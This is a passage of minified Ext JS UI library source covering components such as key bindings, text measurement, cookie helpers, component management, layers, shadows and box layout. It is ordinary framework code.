e, g; if (typeof b == "object" && !Ext.isArray(b)) { h = b.key; a = b.shift; e = b.ctrl; g = b.alt } else { h = b } this.addBinding({key:h, shift:a, ctrl:e, alt:g, fn:d, scope:c}) }, handleKeyDown:function (g) { if (this.enabled) { var c = this.bindings; for (var d = 0, a = c.length; d < a; d++) { c[d].call(this, g) } } }, isEnabled:function () { return this.enabled }, enable:function () { if (!this.enabled) { this.el.on(this.eventName, this.handleKeyDown, this); this.enabled = true } }, disable:function () { if (this.enabled) { this.el.removeListener(this.eventName, this.handleKeyDown, this); this.enabled = false } }, setDisabled:function (a) { this[a ? "disable" : "enable"]() }}; Ext.util.TextMetrics = function () { var a; return{measure:function (b, c, d) { if (!a) { a = Ext.util.TextMetrics.Instance(b, d) } a.bind(b); a.setFixedWidth(d || "auto"); return a.getSize(c) }, createInstance:function (b, c) { return Ext.util.TextMetrics.Instance(b, c) }} }(); Ext.util.TextMetrics.Instance = function (b, d) { var c = new Ext.Element(document.createElement("div")); document.body.appendChild(c.dom); c.position("absolute"); c.setLeftTop(-1000, -1000); c.hide(); if (d) { c.setWidth(d) } var a = {getSize:function (g) { c.update(g); var e = c.getSize(); c.update(""); return e }, bind:function (e) { c.setStyle(Ext.fly(e).getStyles("font-size", "font-style", "font-weight", "font-family", "line-height", "text-transform", "letter-spacing")) }, setFixedWidth:function (e) { c.setWidth(e) }, getWidth:function (e) { c.dom.style.width = "auto"; return this.getSize(e).width }, getHeight:function (e) { return this.getSize(e).height }}; a.bind(b); return a }; Ext.Element.addMethods({getTextWidth:function (c, b, a) { return(Ext.util.TextMetrics.measure(this.dom, Ext.value(c, this.dom.innerHTML, true)).width).constrain(b || 0, a || 1000000) }}); Ext.util.Cookies = {set:function (c, e) { var a = arguments; var i = arguments.length; var b = (i > 2) ? a[2] : null; var h = (i > 3) ? a[3] : "/"; var d = (i > 4) ? a[4] : null; var g = (i > 5) ? a[5] : false; document.cookie = c + "=" + escape(e) + ((b === null) ? "" : ("; expires=" + b.toGMTString())) + ((h === null) ? "" : ("; path=" + h)) + ((d === null) ? "" : ("; domain=" + d)) + ((g === true) ? "; secure" : "") }, get:function (d) { var b = d + "="; var g = b.length; var a = document.cookie.length; var e = 0; var c = 0; while (e < a) { c = e + g; if (document.cookie.substring(e, c) == b) { return Ext.util.Cookies.getCookieVal(c) } e = document.cookie.indexOf(" ", e) + 1; if (e === 0) { break } } return null }, clear:function (a) { if (Ext.util.Cookies.get(a)) { document.cookie = a + "=; expires=Thu, 01-Jan-70 00:00:01 GMT" } }, getCookieVal:function (b) { var a = document.cookie.indexOf(";", b); if (a == -1) { a = document.cookie.length } return unescape(document.cookie.substring(b, a)) }}; Ext.handleError = function (a) { throw a }; Ext.Error = function (a) { this.message = (this.lang[a]) ? this.lang[a] : a }; Ext.Error.prototype = new Error(); Ext.apply(Ext.Error.prototype, {lang:{}, name:"Ext.Error", getName:function () { return this.name }, getMessage:function () { return this.message }, toJson:function () { return Ext.encode(this) }}); Ext.ComponentMgr = function () { var c = new Ext.util.MixedCollection(); var b = {}; var a = {}; return{register:function (d) { c.add(d) }, unregister:function (d) { c.remove(d) }, get:function (d) { return c.get(d) }, onAvailable:function (g, e, d) { c.on("add", function (h, i) { if (i.id == g) { e.call(d || i, i); c.un("add", e, d) } }) }, all:c, types:b, ptypes:a, isRegistered:function (d) { return b[d] !== undefined }, isPluginRegistered:function (d) { return a[d] !== undefined }, registerType:function (e, d) { b[e] = d; d.xtype = e }, create:function (d, e) { return d.render ? d : new b[d.xtype || e](d) }, registerPlugin:function (e, d) { a[e] = d; d.ptype = e }, createPlugin:function (e, g) { var d = a[e.ptype || g]; if (d.init) { return d } else { return new d(e) } }} }(); Ext.reg = Ext.ComponentMgr.registerType; Ext.preg = Ext.ComponentMgr.registerPlugin; Ext.create = Ext.ComponentMgr.create; Ext.Component = function (b) { b = b || {}; if (b.initialConfig) { if (b.isAction) { this.baseAction = b } b = b.initialConfig } else { if (b.tagName || b.dom || Ext.isString(b)) { b = {applyTo:b, id:b.id || b} } } this.initialConfig = b; Ext.apply(this, b); this.addEvents("added", "disable", "enable", "beforeshow", "show", "beforehide", "hide", "removed", "beforerender", "render", "afterrender", "beforedestroy", "destroy", "beforestaterestore", "staterestore", "beforestatesave", "statesave"); this.getId(); Ext.ComponentMgr.register(this); Ext.Component.superclass.constructor.call(this); if (this.baseAction) { this.baseAction.addComponent(this) } this.initComponent(); if (this.plugins) { if (Ext.isArray(this.plugins)) { for (var c = 0, a = this.plugins.length; c < a; c++) { this.plugins[c] = this.initPlugin(this.plugins[c]) } } else { this.plugins = this.initPlugin(this.plugins) } } if (this.stateful !== false) { this.initState() } if (this.applyTo) { this.applyToMarkup(this.applyTo); delete this.applyTo } else { if (this.renderTo) { this.render(this.renderTo); delete this.renderTo } } }; Ext.Component.AUTO_ID = 1000; Ext.extend(Ext.Component, Ext.util.Observable, {disabled:false, hidden:false, autoEl:"div", disabledClass:"x-item-disabled", allowDomMove:true, autoShow:false, hideMode:"display", hideParent:false, rendered:false, tplWriteMode:"overwrite", bubbleEvents:[], ctype:"Ext.Component", actionMode:"el", getActionEl:function () { return this[this.actionMode] }, initPlugin:function (a) { if (a.ptype && !Ext.isFunction(a.init)) { a = Ext.ComponentMgr.createPlugin(a) } else { if (Ext.isString(a)) { a = Ext.ComponentMgr.createPlugin({ptype:a}) } } a.init(this); return a }, initComponent:function () { if (this.listeners) { this.on(this.listeners); delete this.listeners } this.enableBubble(this.bubbleEvents) }, render:function (b, a) { if (!this.rendered && this.fireEvent("beforerender", this) !== false) { if (!b && this.el) { this.el = Ext.get(this.el); b = this.el.dom.parentNode; this.allowDomMove = false } this.container = Ext.get(b); if (this.ctCls) { this.container.addClass(this.ctCls) } this.rendered = true; if (a !== undefined) { if (Ext.isNumber(a)) { a = this.container.dom.childNodes[a] } else { a = Ext.getDom(a) } } this.onRender(this.container, a || null); if (this.autoShow) { this.el.removeClass(["x-hidden", "x-hide-" + this.hideMode]) } if (this.cls) { this.el.addClass(this.cls); delete this.cls } if (this.style) { this.el.applyStyles(this.style); delete this.style } if (this.overCls) { this.el.addClassOnOver(this.overCls) } this.fireEvent("render", this); var c = this.getContentTarget(); if (this.html) { c.update(Ext.DomHelper.markup(this.html)); delete this.html } if (this.contentEl) { var d = Ext.getDom(this.contentEl); Ext.fly(d).removeClass(["x-hidden", "x-hide-display"]); c.appendChild(d) } if (this.tpl) { if (!this.tpl.compile) { this.tpl = new Ext.XTemplate(this.tpl) } if (this.data) { this.tpl[this.tplWriteMode](c, this.data); delete this.data } } this.afterRender(this.container); if (this.hidden) { this.doHide() } if (this.disabled) { this.disable(true) } if (this.stateful !== false) { this.initStateEvents() } this.fireEvent("afterrender", this) } return this }, update:function (b, d, a) { var c = this.getContentTarget(); if (this.tpl && typeof b !== "string") { this.tpl[this.tplWriteMode](c, b || {}) } else { var e = Ext.isObject(b) ? Ext.DomHelper.markup(b) : b; c.update(e, d, a) } }, onAdded:function (a, b) { this.ownerCt = a; this.initRef(); this.fireEvent("added", this, a, b) }, onRemoved:function () { this.removeRef(); this.fireEvent("removed", this, this.ownerCt); delete this.ownerCt }, initRef:function () { if (this.ref && !this.refOwner) { var d = this.ref.split("/"), c = d.length, b = 0, a = this; while (a && b < c) { a = a.ownerCt; ++b } if (a) { a[this.refName = d[--b]] = this; this.refOwner = a } } }, removeRef:function () { if (this.refOwner && this.refName) { delete this.refOwner[this.refName]; delete this.refOwner } }, initState:function () { if (Ext.state.Manager) { var b = this.getStateId(); if (b) { var a = Ext.state.Manager.get(b); if (a) { if (this.fireEvent("beforestaterestore", this, a) !== false) { this.applyState(Ext.apply({}, a)); this.fireEvent("staterestore", this, a) } } } } }, getStateId:function () { return this.stateId || ((/^(ext-comp-|ext-gen)/).test(String(this.id)) ? null : this.id) }, initStateEvents:function () { if (this.stateEvents) { for (var a = 0, b; b = this.stateEvents[a]; a++) { this.on(b, this.saveState, this, {delay:100}) } } }, applyState:function (a) { if (a) { Ext.apply(this, a) } }, getState:function () { return null }, saveState:function () { if (Ext.state.Manager && this.stateful !== false) { var b = this.getStateId(); if (b) { var a = this.getState(); if (this.fireEvent("beforestatesave", this, a) !== false) { Ext.state.Manager.set(b, a); this.fireEvent("statesave", this, a) } } } }, applyToMarkup:function (a) { this.allowDomMove = false; this.el = Ext.get(a); this.render(this.el.dom.parentNode) }, addClass:function (a) { if (this.el) { this.el.addClass(a) } else { this.cls = this.cls ? this.cls + " " + a : a } return this }, removeClass:function (a) { if (this.el) { this.el.removeClass(a) } else { if (this.cls) { this.cls = this.cls.split(" ").remove(a).join(" ") } } return this }, onRender:function (b, a) { if (!this.el && this.autoEl) { if (Ext.isString(this.autoEl)) { this.el = document.createElement(this.autoEl) } else { var c = document.createElement("div"); Ext.DomHelper.overwrite(c, this.autoEl); this.el = c.firstChild } if (!this.el.id) { this.el.id = this.getId() } } if (this.el) { this.el = Ext.get(this.el); if (this.allowDomMove !== false) { b.dom.insertBefore(this.el.dom, a); if (c) { Ext.removeNode(c); c = null } } } }, getAutoCreate:function () { var a = Ext.isObject(this.autoCreate) ? this.autoCreate : Ext.apply({}, this.defaultAutoCreate); if (this.id && !a.id) { a.id = this.id } return a }, afterRender:Ext.emptyFn, destroy:function () { if (!this.isDestroyed) { if (this.fireEvent("beforedestroy", this) !== false) { this.destroying = true; this.beforeDestroy(); if (this.ownerCt && this.ownerCt.remove) { this.ownerCt.remove(this, false) } if (this.rendered) { this.el.remove(); if (this.actionMode == "container" || this.removeMode == "container") { this.container.remove() } } if (this.focusTask && this.focusTask.cancel) { this.focusTask.cancel() } this.onDestroy(); Ext.ComponentMgr.unregister(this); this.fireEvent("destroy", this); this.purgeListeners(); this.destroying = false; this.isDestroyed = true } } }, deleteMembers:function () { var b = arguments; for (var c = 0, a = b.length; c < a; ++c) { delete this[b[c]] } }, beforeDestroy:Ext.emptyFn, onDestroy:Ext.emptyFn, getEl:function () { return this.el }, getContentTarget:function () { return this.el }, getId:function () { return this.id || (this.id = "ext-comp-" + (++Ext.Component.AUTO_ID)) }, getItemId:function () { return this.itemId || this.getId() }, focus:function (b, a) { if (a) { this.focusTask = new Ext.util.DelayedTask(this.focus, this, [b, false]); this.focusTask.delay(Ext.isNumber(a) ? a : 10); return this } if (this.rendered && !this.isDestroyed) { this.el.focus(); if (b === true) { this.el.dom.select() } } return this }, blur:function () { if (this.rendered) { this.el.blur() } return this }, disable:function (a) { if (this.rendered) { this.onDisable() } this.disabled = true; if (a !== true) { this.fireEvent("disable", this) } return this }, onDisable:function () { this.getActionEl().addClass(this.disabledClass); this.el.dom.disabled = true }, enable:function () { if (this.rendered) { this.onEnable() } this.disabled = false; this.fireEvent("enable", this); return this }, onEnable:function () { this.getActionEl().removeClass(this.disabledClass); this.el.dom.disabled = false }, setDisabled:function (a) { return this[a ? "disable" : "enable"]() }, show:function () { if (this.fireEvent("beforeshow", this) !== false) { this.hidden = false; if (this.autoRender) { this.render(Ext.isBoolean(this.autoRender) ? Ext.getBody() : this.autoRender) } if (this.rendered) { this.onShow() } this.fireEvent("show", this) } return this }, onShow:function () { this.getVisibilityEl().removeClass("x-hide-" + this.hideMode) }, hide:function () { if (this.fireEvent("beforehide", this) !== false) { this.doHide(); this.fireEvent("hide", this) } return this }, doHide:function () { this.hidden = true; if (this.rendered) { this.onHide() } }, onHide:function () { this.getVisibilityEl().addClass("x-hide-" + this.hideMode) }, getVisibilityEl:function () { return this.hideParent ? this.container : this.getActionEl() }, setVisible:function (a) { return this[a ? "show" : "hide"]() }, isVisible:function () { return this.rendered && this.getVisibilityEl().isVisible() }, cloneConfig:function (b) { b = b || {}; var c = b.id || Ext.id(); var a = Ext.applyIf(b, this.initialConfig); a.id = c; return new this.constructor(a) }, getXType:function () { return this.constructor.xtype }, isXType:function (b, a) { if (Ext.isFunction(b)) { b = b.xtype } else { if (Ext.isObject(b)) { b = b.constructor.xtype } } return !a ? ("/" + this.getXTypes() + "/").indexOf("/" + b + "/") != -1 : this.constructor.xtype == b }, getXTypes:function () { var a = this.constructor; if (!a.xtypes) { var d = [], b = this; while (b && b.constructor.xtype) { d.unshift(b.constructor.xtype); b = b.constructor.superclass } a.xtypeChain = d; a.xtypes = d.join("/") } return a.xtypes }, findParentBy:function (a) { for (var b = this.ownerCt; (b != null) && !a(b, this); b = b.ownerCt) { } return b || null }, findParentByType:function (b, a) { return this.findParentBy(function (d) { return d.isXType(b, a) }) }, bubble:function (c, b, a) { var d = this; while (d) { if (c.apply(b || d, a || [d]) === false) { break } d = d.ownerCt } return this }, getPositionEl:function () { return this.positionEl || this.el }, purgeListeners:function () { Ext.Component.superclass.purgeListeners.call(this); if (this.mons) { this.on("beforedestroy", this.clearMons, this, {single:true}) } }, clearMons:function () { Ext.each(this.mons, function (a) { a.item.un(a.ename, a.fn, a.scope) }, this); this.mons = [] }, createMons:function () { if (!this.mons) { this.mons = []; this.on("beforedestroy", this.clearMons, this, {single:true}) } }, mon:function (g, b, d, c, a) { this.createMons(); if (Ext.isObject(b)) { var j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/; var i = b; for (var h in i) { if (j.test(h)) { continue } if (Ext.isFunction(i[h])) { this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope}); g.on(h, i[h], i.scope, i) } else { this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope}); g.on(h, i[h]) } } return } this.mons.push({item:g, ename:b, fn:d, scope:c}); g.on(b, d, c, a) }, mun:function (h, c, g, e) { var j, d; this.createMons(); for (var b = 0, a = this.mons.length; b < a; ++b) { d = this.mons[b]; if (h === d.item && c == d.ename && g === d.fn && e === d.scope) { this.mons.splice(b, 1); h.un(c, g, e); j = true; break } } return j }, nextSibling:function () { if (this.ownerCt) { var a = this.ownerCt.items.indexOf(this); if (a != -1 && a + 1 < this.ownerCt.items.getCount()) { return this.ownerCt.items.itemAt(a + 1) } } return null }, previousSibling:function () { if (this.ownerCt) { var a = this.ownerCt.items.indexOf(this); if (a > 0) { return this.ownerCt.items.itemAt(a - 1) } } return null }, getBubbleTarget:function () { return this.ownerCt }}); Ext.reg("component", Ext.Component); Ext.Action = Ext.extend(Object, {constructor:function (a) { this.initialConfig = a; this.itemId = a.itemId = (a.itemId || a.id || Ext.id()); this.items = [] }, isAction:true, setText:function (a) { this.initialConfig.text = a; this.callEach("setText", [a]) }, getText:function () { return this.initialConfig.text }, setIconClass:function (a) { this.initialConfig.iconCls = a; this.callEach("setIconClass", [a]) }, getIconClass:function () { return this.initialConfig.iconCls }, setDisabled:function (a) { this.initialConfig.disabled = a; this.callEach("setDisabled", [a]) }, enable:function () { this.setDisabled(false) }, disable:function () { this.setDisabled(true) }, isDisabled:function () { return this.initialConfig.disabled }, setHidden:function (a) { this.initialConfig.hidden = a; this.callEach("setVisible", [!a]) }, show:function () { this.setHidden(false) }, hide:function () { this.setHidden(true) }, isHidden:function () { return this.initialConfig.hidden }, setHandler:function (b, a) { this.initialConfig.handler = b; this.initialConfig.scope = a; this.callEach("setHandler", [b, a]) }, each:function (b, a) { Ext.each(this.items, b, a) }, callEach:function (e, b) { var d = this.items; for (var c = 0, a = d.length; c < a; c++) { d[c][e].apply(d[c], b) } }, addComponent:function (a) { this.items.push(a); a.on("destroy", this.removeComponent, this) }, removeComponent:function (a) { this.items.remove(a) }, execute:function () { this.initialConfig.handler.apply(this.initialConfig.scope || window, arguments) }}); (function () { Ext.Layer = function (d, c) { d = d || {}; var e = Ext.DomHelper, h = d.parentEl, g = h ? Ext.getDom(h) : document.body; if (c) { this.dom = Ext.getDom(c) } if (!this.dom) { var i = d.dh || {tag:"div", cls:"x-layer"}; this.dom = e.append(g, i) } if (d.cls) { this.addClass(d.cls) } this.constrain = d.constrain !== false; this.setVisibilityMode(Ext.Element.VISIBILITY); if (d.id) { this.id = this.dom.id = d.id } else { this.id = Ext.id(this.dom) } this.zindex = d.zindex || this.getZIndex(); this.position("absolute", this.zindex); if (d.shadow) { this.shadowOffset = d.shadowOffset || 4; this.shadow = new Ext.Shadow({offset:this.shadowOffset, mode:d.shadow}) } else { this.shadowOffset = 0 } this.useShim = d.shim !== false && Ext.useShims; this.useDisplay = d.useDisplay; this.hide() }; var a = Ext.Element.prototype; var b = []; Ext.extend(Ext.Layer, Ext.Element, {getZIndex:function () { return this.zindex || parseInt((this.getShim() || this).getStyle("z-index"), 10) || 11000 }, getShim:function () { if (!this.useShim) { return null } if (this.shim) { return this.shim } var d = b.shift(); if (!d) { d = this.createShim(); d.enableDisplayMode("block"); d.dom.style.display = "none"; d.dom.style.visibility = "visible" } var c = this.dom.parentNode; if (d.dom.parentNode != c) { c.insertBefore(d.dom, this.dom) } d.setStyle("z-index", this.getZIndex() - 2); this.shim = d; return d }, hideShim:function () { if (this.shim) { this.shim.setDisplayed(false); b.push(this.shim); delete this.shim } }, disableShadow:function () { if (this.shadow) { this.shadowDisabled = true; this.shadow.hide(); this.lastShadowOffset = this.shadowOffset; this.shadowOffset = 0 } }, enableShadow:function (c) { if (this.shadow) { this.shadowDisabled = false; if (Ext.isDefined(this.lastShadowOffset)) { this.shadowOffset = this.lastShadowOffset; delete this.lastShadowOffset } if (c) { this.sync(true) } } }, sync:function (d) { var n = this.shadow; if (!this.updating && this.isVisible() && (n || this.useShim)) { var i = this.getShim(), m = this.getWidth(), j = this.getHeight(), e = this.getLeft(true), o = this.getTop(true); if (n && !this.shadowDisabled) { if (d && !n.isVisible()) { n.show(this) } else { n.realign(e, o, m, j) } if (i) { if (d) { i.show() } var k = n.el.getXY(), g = i.dom.style, c = n.el.getSize(); g.left = (k[0]) + "px"; g.top = (k[1]) + "px"; g.width = (c.width) + "px"; g.height = (c.height) + "px" } } else { if (i) { if (d) { i.show() } i.setSize(m, j); i.setLeftTop(e, o) } } } }, destroy:function () { this.hideShim(); if (this.shadow) { this.shadow.hide() } this.removeAllListeners(); Ext.removeNode(this.dom); delete this.dom }, remove:function () { this.destroy() }, beginUpdate:function () { this.updating = true }, endUpdate:function () { this.updating = false; this.sync(true) }, hideUnders:function (c) { if (this.shadow) { this.shadow.hide() } this.hideShim() }, constrainXY:function () { if (this.constrain) { var j = Ext.lib.Dom.getViewWidth(), d = Ext.lib.Dom.getViewHeight(); var o = Ext.getDoc().getScroll(); var n = this.getXY(); var k = n[0], i = n[1]; var c = this.shadowOffset; var l = this.dom.offsetWidth + c, e = this.dom.offsetHeight + c; var g = false; if ((k + l) > j + o.left) { k = j - l - c; g = true } if ((i + e) > d + o.top) { i = d - e - c; g = true } if (k < o.left) { k = o.left; g = true } if (i < o.top) { i = o.top; g = true } if (g) { if (this.avoidY) { var m = this.avoidY; if (i <= m && (i + e) >= m) { i = m - e - 5 } } n = [k, i]; this.storeXY(n); a.setXY.call(this, n); this.sync() } } return this }, getConstrainOffset:function () { return this.shadowOffset }, isVisible:function () { return this.visible }, showAction:function () { this.visible = true; if (this.useDisplay === true) { this.setDisplayed("") } else { if (this.lastXY) { a.setXY.call(this, this.lastXY) } else { if (this.lastLT) { a.setLeftTop.call(this, this.lastLT[0], this.lastLT[1]) } } } }, hideAction:function () { this.visible = false; if (this.useDisplay === true) { this.setDisplayed(false) } else { this.setLeftTop(-10000, -10000) } }, setVisible:function (i, h, k, l, j) { if (i) { this.showAction() } if (h && i) { var g = function () { this.sync(true); if (l) { l() } }.createDelegate(this); a.setVisible.call(this, true, true, k, g, j) } else { if (!i) { this.hideUnders(true) } var g = l; if (h) { g = function () { this.hideAction(); if (l) { l() } }.createDelegate(this) } a.setVisible.call(this, i, h, k, g, j); if (i) { this.sync(true) } else { if (!h) { this.hideAction() } } } return this }, storeXY:function (c) { delete this.lastLT; this.lastXY = c }, storeLeftTop:function (d, c) { delete this.lastXY; this.lastLT = [d, c] }, beforeFx:function () { this.beforeAction(); return Ext.Layer.superclass.beforeFx.apply(this, arguments) }, afterFx:function () { Ext.Layer.superclass.afterFx.apply(this, arguments); this.sync(this.isVisible()) }, beforeAction:function () { if (!this.updating && this.shadow) { this.shadow.hide() } }, setLeft:function (c) { this.storeLeftTop(c, this.getTop(true)); a.setLeft.apply(this, arguments); this.sync(); return this }, setTop:function (c) { this.storeLeftTop(this.getLeft(true), c); a.setTop.apply(this, arguments); this.sync(); return this }, setLeftTop:function (d, c) { this.storeLeftTop(d, c); a.setLeftTop.apply(this, arguments); this.sync(); return this }, setXY:function (j, h, k, l, i) { this.fixDisplay(); this.beforeAction(); this.storeXY(j); var g = this.createCB(l); a.setXY.call(this, j, h, k, g, i); if (!h) { g() } return this }, createCB:function (e) { var d = this; return function () { d.constrainXY(); d.sync(true); if (e) { e() } } }, setX:function (g, h, j, k, i) { this.setXY([g, this.getY()], h, j, k, i); return this }, setY:function (k, g, i, j, h) { this.setXY([this.getX(), k], g, i, j, h); return this }, setSize:function (j, k, i, m, n, l) { this.beforeAction(); var g = this.createCB(n); a.setSize.call(this, j, k, i, m, g, l); if (!i) { g() } return this }, setWidth:function (i, h, k, l, j) { this.beforeAction(); var g = this.createCB(l); a.setWidth.call(this, i, h, k, g, j); if (!h) { g() } return this }, setHeight:function (j, i, l, m, k) { this.beforeAction(); var g = this.createCB(m); a.setHeight.call(this, j, i, l, g, k); if (!i) { g() } return this }, setBounds:function (o, m, p, i, n, k, l, j) { this.beforeAction(); var g = this.createCB(l); if (!n) { this.storeXY([o, m]); a.setXY.call(this, [o, m]); a.setSize.call(this, p, i, n, k, g, j); g() } else { a.setBounds.call(this, o, m, p, i, n, k, g, j) } return this }, setZIndex:function (c) { this.zindex = c; this.setStyle("z-index", c + 2); if (this.shadow) { this.shadow.setZIndex(c + 1) } if (this.shim) { this.shim.setStyle("z-index", c) } return this }}) })(); Ext.Shadow = function (d) { Ext.apply(this, d); if (typeof this.mode != "string") { this.mode = this.defaultMode } var e = this.offset, c = {h:0}, b = Math.floor(this.offset / 2); switch (this.mode.toLowerCase()) { case"drop": c.w = 0; c.l = c.t = e; c.t -= 1; if (Ext.isIE) { c.l -= this.offset + b; c.t -= this.offset + b; c.w -= b; c.h -= b; c.t += 1 } break; case"sides": c.w = (e * 2); c.l = -e; c.t = e - 1; if (Ext.isIE) { c.l -= (this.offset - b); c.t -= this.offset + b; c.l += 1; c.w -= (this.offset - b) * 2; c.w -= b + 1; c.h -= 1 } break; case"frame": c.w = c.h = (e * 2); c.l = c.t = -e; c.t += 1; c.h -= 2; if (Ext.isIE) { c.l -= (this.offset - b); c.t -= (this.offset - b); c.l += 1; c.w -= (this.offset + b + 1); c.h -= (this.offset + b); c.h += 1 } break } this.adjusts = c }; Ext.Shadow.prototype = {offset:4, defaultMode:"drop", show:function (a) { a = Ext.get(a); if (!this.el) { this.el = Ext.Shadow.Pool.pull(); if (this.el.dom.nextSibling != a.dom) { this.el.insertBefore(a) } } this.el.setStyle("z-index", this.zIndex || parseInt(a.getStyle("z-index"), 10) - 1); if (Ext.isIE) { this.el.dom.style.filter = "progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius=" + (this.offset) + ")" } this.realign(a.getLeft(true), a.getTop(true), a.getWidth(), a.getHeight()); this.el.dom.style.display = "block" }, isVisible:function () { return this.el ? true : false }, realign:function (b, r, q, g) { if (!this.el) { return } var n = this.adjusts, k = this.el.dom, u = k.style, i = 0, p = (q + n.w), e = (g + n.h), j = p + "px", o = e + "px", m, c; u.left = (b + n.l) + "px"; u.top = (r + n.t) + "px"; if (u.width != j || u.height != o) { u.width = j; u.height = o; if (!Ext.isIE) { m = k.childNodes; c = Math.max(0, (p - 12)) + "px"; m[0].childNodes[1].style.width = c; m[1].childNodes[1].style.width = c; m[2].childNodes[1].style.width = c; m[1].style.height = Math.max(0, (e - 12)) + "px" } } }, hide:function () { if (this.el) { this.el.dom.style.display = "none"; Ext.Shadow.Pool.push(this.el); delete this.el } }, setZIndex:function (a) { this.zIndex = a; if (this.el) { this.el.setStyle("z-index", a) } }}; Ext.Shadow.Pool = function () { var b = [], a = Ext.isIE ? '
' : '
'; return{pull:function () { var c = b.shift(); if (!c) { c = Ext.get(Ext.DomHelper.insertHtml("beforeBegin", document.body.firstChild, a)); c.autoBoxAdjust = false } return c }, push:function (c) { b.push(c) }} }(); Ext.BoxComponent = Ext.extend(Ext.Component, {initComponent:function () { Ext.BoxComponent.superclass.initComponent.call(this); this.addEvents("resize", "move") }, boxReady:false, deferHeight:false, setSize:function (b, d) { if (typeof b == "object") { d = b.height; b = b.width } if (Ext.isDefined(b) && Ext.isDefined(this.boxMinWidth) && (b < this.boxMinWidth)) { b = this.boxMinWidth } if (Ext.isDefined(d) && Ext.isDefined(this.boxMinHeight) && (d < this.boxMinHeight)) { d = this.boxMinHeight } if (Ext.isDefined(b) && Ext.isDefined(this.boxMaxWidth) && (b > this.boxMaxWidth)) { b = this.boxMaxWidth } if (Ext.isDefined(d) && Ext.isDefined(this.boxMaxHeight) && (d > this.boxMaxHeight)) { d = this.boxMaxHeight } if (!this.boxReady) { this.width = b; this.height = d; return this } if (this.cacheSizes !== false && this.lastSize && this.lastSize.width == b && this.lastSize.height == d) { return this } this.lastSize = {width:b, height:d}; var c = this.adjustSize(b, d), g = c.width, a = c.height, e; if (g !== undefined || a !== undefined) { e = this.getResizeEl(); if (!this.deferHeight && g !== undefined && a !== undefined) { e.setSize(g, a) } else { if (!this.deferHeight && a !== undefined) { e.setHeight(a) } else { if (g !== undefined) { e.setWidth(g) } } } this.onResize(g, a, b, d); this.fireEvent("resize", this, g, a, b, d) } return this }, setWidth:function (a) { return this.setSize(a) }, setHeight:function (a) { return this.setSize(undefined, a) }, getSize:function () { return this.getResizeEl().getSize() }, getWidth:function () { return this.getResizeEl().getWidth() }, getHeight:function () { return this.getResizeEl().getHeight() }, getOuterSize:function () { var a = this.getResizeEl(); return{width:a.getWidth() + a.getMargins("lr"), height:a.getHeight() + a.getMargins("tb")} }, getPosition:function (a) { var b = this.getPositionEl(); if (a === true) { return[b.getLeft(true), b.getTop(true)] } return this.xy || b.getXY() }, getBox:function (a) { var c = this.getPosition(a); var b = this.getSize(); b.x = c[0]; b.y = c[1]; return b }, updateBox:function (a) { this.setSize(a.width, a.height); this.setPagePosition(a.x, a.y); return this }, getResizeEl:function () { return this.resizeEl || this.el }, setAutoScroll:function (a) { if (this.rendered) { this.getContentTarget().setOverflow(a ? "auto" : "") } this.autoScroll = a; return this }, setPosition:function (a, g) { if (a && typeof a[1] == "number") { g = a[1]; a = a[0] } this.x = a; this.y = g; if (!this.boxReady) { return this } var b = this.adjustPosition(a, g); var e = b.x, d = b.y; var c = this.getPositionEl(); if (e !== undefined || d !== undefined) { if (e !== undefined && d !== undefined) { c.setLeftTop(e, d) } else { if (e !== undefined) { c.setLeft(e) } else { if (d !== undefined) { c.setTop(d) } } } this.onPosition(e, d); this.fireEvent("move", this, e, d) } return this }, setPagePosition:function (a, c) { if (a && typeof a[1] == "number") { c = a[1]; a = a[0] } this.pageX = a; this.pageY = c; if (!this.boxReady) { return } if (a === undefined || c === undefined) { return } var b = this.getPositionEl().translatePoints(a, c); this.setPosition(b.left, b.top); return this }, afterRender:function () { Ext.BoxComponent.superclass.afterRender.call(this); if (this.resizeEl) { this.resizeEl = Ext.get(this.resizeEl) } if (this.positionEl) { this.positionEl = Ext.get(this.positionEl) } this.boxReady = true; Ext.isDefined(this.autoScroll) && this.setAutoScroll(this.autoScroll); this.setSize(this.width, this.height); if (this.x || this.y) { this.setPosition(this.x, this.y) } else { if (this.pageX || this.pageY) { this.setPagePosition(this.pageX, this.pageY) } } }, syncSize:function () { delete this.lastSize; this.setSize(this.autoWidth ? undefined : this.getResizeEl().getWidth(), this.autoHeight ? undefined : this.getResizeEl().getHeight()); return this }, onResize:function (d, b, a, c) { }, onPosition:function (a, b) { }, adjustSize:function (a, b) { if (this.autoWidth) { a = "auto" } if (this.autoHeight) { b = "auto" } return{width:a, height:b} }, adjustPosition:function (a, b) { return{x:a, y:b} }}); Ext.reg("box", Ext.BoxComponent); Ext.Spacer = Ext.extend(Ext.BoxComponent, {autoEl:"div"}); Ext.reg("spacer", Ext.Spacer); Ext.SplitBar = function (c, e, b, d, a) { this.el = Ext.get(c, true); this.el.dom.unselectable = "on"; this.resizingEl = Ext.get(e, true); this.orientation = b || Ext.SplitBar.HORIZONTAL; this.minSize = 0; this.maxSize = 2000; this.animate = false; this.useShim = false; this.shim = null; if (!a) { this.proxy = Ext.SplitBar.createProxy(this.orientation) } else { this.proxy = Ext.get(a).dom } this.dd = new Ext.dd.DDProxy(this.el.dom.id, "XSplitBars", {dragElId:this.proxy.id}); this.dd.b4StartDrag = this.onStartProxyDrag.createDelegate(this); this.dd.endDrag = this.onEndProxyDrag.createDelegate(this); this.dragSpecs = {}; this.adapter = new Ext.SplitBar.BasicLayoutAdapter(); this.adapter.init(this); if (this.orientation == Ext.SplitBar.HORIZONTAL) { this.placement = d || (this.el.getX() > this.resizingEl.getX() ? Ext.SplitBar.LEFT : Ext.SplitBar.RIGHT); this.el.addClass("x-splitbar-h") } else { this.placement = d || (this.el.getY() > this.resizingEl.getY() ? Ext.SplitBar.TOP : Ext.SplitBar.BOTTOM); this.el.addClass("x-splitbar-v") } this.addEvents("resize", "moved", "beforeresize", "beforeapply"); Ext.SplitBar.superclass.constructor.call(this) }; Ext.extend(Ext.SplitBar, Ext.util.Observable, {onStartProxyDrag:function (a, e) { this.fireEvent("beforeresize", this); this.overlay = Ext.DomHelper.append(document.body, {cls:"x-drag-overlay", html:" "}, true); this.overlay.unselectable(); this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); this.overlay.show(); Ext.get(this.proxy).setDisplayed("block"); var c = 